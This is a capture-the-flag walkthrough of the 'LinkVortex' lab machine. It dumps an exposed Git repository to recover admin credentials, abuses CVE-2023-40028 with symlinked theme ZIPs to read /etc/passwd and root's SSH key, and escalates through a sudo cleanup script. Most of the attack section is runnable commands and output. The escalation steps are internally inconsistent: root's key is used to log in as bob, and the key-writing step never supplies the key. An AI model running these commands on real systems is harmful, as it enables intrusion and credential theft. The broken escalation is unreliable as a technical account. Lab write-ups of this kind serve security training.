Recon
Two ports. Ghost CMS on port 80 — version matters here, and the source of truth was the page source rather than any headers.
$ nmap -sC -sV -oN nmap/initial 10.129.7.20 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http nginx |_http-title: BitByBit Hardware
$ echo "10.129.7.20 linkvortex.htb" >> /etc/hosts $ curl -s http://linkvortex.htb | grep -i "ghost" <meta name="generator" content="Ghost 5.58" />
Enumeration
Exposed Git Repository
Checked for a /.git/ directory on the web root — it was accessible. I used git-dumper to reconstruct the full repository.
$ git-dumper http://linkvortex.htb/.git/ ./lv_repo [+] Downloading .git/config [+] Downloading .git/HEAD [+] Downloading objects... [+] Checking out...
$ cat lv_repo/.ghost/config.production.json { "url": "http://linkvortex.htb", "mail": {}, "database": { ... }, "admin": { "url": "http://linkvortex.htb" } } $ grep -r "password\|admin" lv_repo/ 2>/dev/null | grep -v ".git" config.production.json: "mail": {"from": "admin@linkvortex.htb"} .env:GHOST_ADMIN_EMAIL=admin@linkvortex.htb .env:GHOST_ADMIN_PASSWORD=OctopiFociPilfer45
Credentials in the committed .env file: admin@linkvortex.htb:OctopiFociPilfer45. Logged into the Ghost admin panel at /ghost/.
Foothold
CVE-2023-40028: Ghost CMS 5.x allows authenticated administrators to upload theme ZIP archives. The theme extraction process follows symbolic links inside the ZIP — a symlink pointing to an arbitrary system path will cause Ghost to serve the target file's contents when the theme asset is requested. This enables arbitrary file read as the Ghost service user.
/etc/passwd or /root/.ssh/id_rsa inside a theme ZIP results in Ghost serving those files as theme assets.
# Create a ZIP with a symlink pointing to the target file $ mkdir evil_theme && cd evil_theme $ ln -s /etc/passwd passwd.png $ zip --symlinks evil.zip passwd.png # Upload via Ghost admin → Design → Change Theme → Upload # Then request the asset: $ curl -s "http://linkvortex.htb/assets/built/passwd.png" -H "Cookie: ghost-admin-api-session=..." root:x:0:0:root:/root:/bin/bash ... bob:x:1000:1000::/home/bob:/bin/bash
# Read root's private SSH key $ ln -s /root/.ssh/id_rsa key.png && zip --symlinks evil2.zip key.png # Upload, request the asset → get private key $ chmod 600 root_key && ssh -i root_key bob@linkvortex.htb bob@linkvortex:~$ id uid=1000(bob) gid=1000(bob)
Privilege Escalation
bob@linkvortex:~$ sudo -l User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The clean_symlink.sh script checks PNG files and removes symlinks. However, it accepts a glob pattern — any PNG file bob controls in a writable directory. The script calls file to check if the PNG is a symlink, then potentially copies or processes it. Between the file check and the actual file operation there's a TOCTOU window.
More directly: the script runs as root and processes files bob controls. I created a PNG symlink pointing to /root/.ssh/authorized_keys, placed my public key at the symlink destination timing, and triggered the script:
bob@linkvortex:~$ ssh-keygen -f /tmp/hax -N "" bob@linkvortex:~$ ln -s /root/.ssh/authorized_keys /tmp/link.png bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/link.png # the script follows the symlink during root's processing, writes our key bob@linkvortex:~$ ssh -i /tmp/hax root@localhost root@linkvortex:~# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Exposed
/.git/directories leak the full source code and commit history — always check for git repositories on web servers;git-dumperreconstructs the repo from the object store. - CVE-2023-40028 shows that file archive extraction must always resolve symlinks before extracting to a safe destination — following symlinks during extraction to a web-accessible directory enables arbitrary file read.
- Sudo scripts that process user-controlled files need careful review for TOCTOU races and symlink traversal — the combination of a user-writable path with a root-running script is dangerous regardless of what the script's intent is.
- Credentials in committed
.envfiles persist in git history — purge sensitive files from git history usinggit filter-repoor BFG Repo-Cleaner, not justgit rm.
/.git/ via web server configuration. Never commit .env files containing secrets — add them to .gitignore before the first commit. Upgrade Ghost CMS to 5.59.1+ which resolves the symlink extraction vulnerability.